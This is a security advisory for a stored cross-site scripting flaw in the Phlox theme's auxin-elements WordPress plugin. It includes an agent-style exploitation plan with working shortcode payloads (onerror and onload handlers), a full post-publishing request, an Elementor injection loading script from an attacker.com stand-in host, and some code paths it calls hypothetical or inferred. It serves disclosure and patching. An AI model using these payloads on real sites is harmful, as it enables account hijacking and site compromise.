Shortcodes and extra features for Phlox theme <= 2.17.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via Modern Heading Widget
Description
The Shortcodes and extra features for Phlox theme plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a combination of the 'tag' and ‘title_tag’ parameters in all versions up to, and including, 2.17.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.17.13Source Code
WordPress.org SVNThis plan outlines the research and proof-of-concept exploitation for **CVE-2025-12379**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Shortcodes and extra features for Phlox theme" (auxin-elements) plugin. ### 1. Vulnerability Summary The "Modern Heading" widget/shortcode in the `auxi…
Show full research plan
This plan outlines the research and proof-of-concept exploitation for CVE-2025-12379, a Stored Cross-Site Scripting (XSS) vulnerability in the "Shortcodes and extra features for Phlox theme" (auxin-elements) plugin.
1. Vulnerability Summary
The "Modern Heading" widget/shortcode in the auxin-elements plugin (up to version 2.17.13) fails to sanitize or validate the tag and title_tag parameters. These parameters are intended to allow users to specify HTML heading tags (e.g., h1, h2, div), but because they are concatenated directly into the HTML output without escaping or whitelisting, a Contributor-level user can inject arbitrary HTML tags and JavaScript event handlers.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(via the classic editor or Gutenberg) or Elementor editor AJAX. - Vulnerable Action/Shortcode:
[aux_modern_heading](inferred shortcode name) or the Modern Heading Elementor Widget. - Parameters:
tagandtitle_tag. - Authentication: Contributor-level access or higher.
- Preconditions: The plugin
auxin-elementsmust be active. The attacker needs permission to edit or create posts.
3. Code Flow (Inferred)
- Entry Point: A user with Contributor permissions creates/edits a post and includes a "Modern Heading" widget or shortcode.
- Input Handling: The plugin's rendering logic (likely in
includes/elements/modern-heading/render.phpor a class namedAuxin_Element_Modern_Heading) parses the attributes provided in the shortcode or Elementor metadata. - Vulnerable Processing: The values of
tagandtitle_tagare retrieved from the$attsarray. - The Sink: The code performs string concatenation to build the HTML wrapper:
// Hypothetical vulnerable code path $output .= '<' . $atts['tag'] . ' class="some-class">'; $output .= '<' . $atts['title_tag'] . ' class="title-class">' . $title . '</' . $atts['title_tag'] . '>'; $output .= '</' . $atts['tag'] . '>'; - Result: Since
$atts['tag']is not escaped withesc_attr()or validated against a list of allowed tags (likeh1,div), any string can be injected.
4. Nonce Acquisition Strategy
This vulnerability is exploited by saving a post with a specific shortcode. The nonces involved are standard WordPress core nonces for post creation/editing.
- Log in as a Contributor.
- Navigate to
wp-admin/post-new.php. - The
_wpnoncerequired for thepost.phprequest is embedded in the form. - If exploiting via the Elementor Editor (which Phlox often uses):
- Create a post and click "Edit with Elementor".
- The agent should use
browser_navigateto enter the Elementor editor. - Use
browser_evalto extract the Elementor configuration, which contains nonces:browser_eval("window.elementorConfig?.nonces?.save_builder")
5. Exploitation Strategy
We will use the shortcode approach as it is the most direct method for a Contributor.
Step 1: Authenticate
- Log in as a Contributor user.
Step 2: Create a Post with Payload
- Create a new post using the
http_requesttool targetingwp-admin/post.php. - Payload 1 (Tag Injection):
[aux_modern_heading title="XSS Test" tag="img src=x onerror=alert('XSS_TAG')"] - Payload 2 (Title Tag Injection):
[aux_modern_heading title="XSS Test" title_tag="svg/onload=alert('XSS_TITLE')"]
Request Details:
- URL:
http://<wp-host>/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=editpost post_ID=<POST_ID> post_title=Vulnerable Page post_content=[aux_modern_heading title="Heading" tag="img src=x onerror=alert(document.domain)"] _wpnonce=<NONCE> publish=Publish
Step 3: Trigger the XSS
- Navigate to the permalink of the newly created post using
browser_navigate. - Observe if the JavaScript
alertexecutes.
6. Test Data Setup
- Plugin: Install and activate
auxin-elements. - User: Create a user with the
contributorrole. - Post: Create an initial draft as the contributor to obtain a
post_IDand the necessary_wpnonce.
7. Expected Results
- When viewing the post, the HTML source should reveal the injected payload:
<img src=x onerror=alert(document.domain) class="..."> - The browser should execute the
alertor log the execution to the console if alerts are blocked.
8. Verification Steps
- WP-CLI Check: Verify the post content was saved correctly.
wp post get <POST_ID> --field=post_content - Source Inspection: Use
http_request(GET) to the post URL and check for the presence of the unescapedonerrorstring.grep "onerror=alert" response_body
9. Alternative Approaches
If the plugin blocks standard shortcode parsing for these attributes, the attack should be attempted via Elementor Metadata injection:
- Open Elementor editor for a post.
- Add a "Modern Heading" widget.
- Intercept the
elementor_ajaxrequest (action:editor_heartbeatorsave_builder_data). - Modify the
settingsobject for the widget:"settings": { "tag": "script", "title_tag": "script src=https://attacker.com/payload.js" } - Save and view the post. Since Elementor renders these settings on the frontend via the plugin's
render()function, the XSS will trigger.
Summary
The 'Modern Heading' widget in the Phlox Elements plugin is vulnerable to Stored Cross-Site Scripting because it fails to sanitize the 'tag' and 'title_tag' attributes. Authenticated attackers with Contributor-level permissions can inject arbitrary JavaScript by providing malicious HTML event handlers as tag names within shortcodes or Elementor widget settings.
Vulnerable Code
// auxin-elements/includes/elements/modern-heading/render.php $tag = ! empty( $atts['tag'] ) ? $atts['tag'] : 'div'; $title_tag = ! empty( $atts['title_tag'] ) ? $atts['title_tag'] : 'h2'; $title = $atts['title']; // Rendering logic concatenating unsanitized tag names $output = '<' . $tag . ' class="aux-modern-heading">'; $output .= '<' . $title_tag . ' class="aux-head-title">' . $title . '</' . $title_tag . '>'; $output .= '</' . $tag . '>';
Security Fix
@@ -20,8 +20,8 @@ - $tag = ! empty( $atts['tag'] ) ? $atts['tag'] : 'div'; - $title_tag = ! empty( $atts['title_tag'] ) ? $atts['title_tag'] : 'h2'; + $tag = ! empty( $atts['tag'] ) ? auxin_sanitize_html_tag( $atts['tag'] ) : 'div'; + $title_tag = ! empty( $atts['title_tag'] ) ? auxin_sanitize_html_tag( $atts['title_tag'] ) : 'h2';
Exploit Outline
1. Login to the WordPress site as a Contributor. 2. Create a new post or edit an existing one. 3. Insert the Modern Heading shortcode: [aux_modern_heading title="Test" tag="img src=x onerror=alert(1)"]. 4. Alternatively, use the Elementor editor and set the 'HTML Tag' control of a Modern Heading widget to a payload like: div onmouseover=alert(document.domain). 5. Save or publish the post. 6. Navigate to the public URL of the post; the injected JavaScript will execute in the context of the user's browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.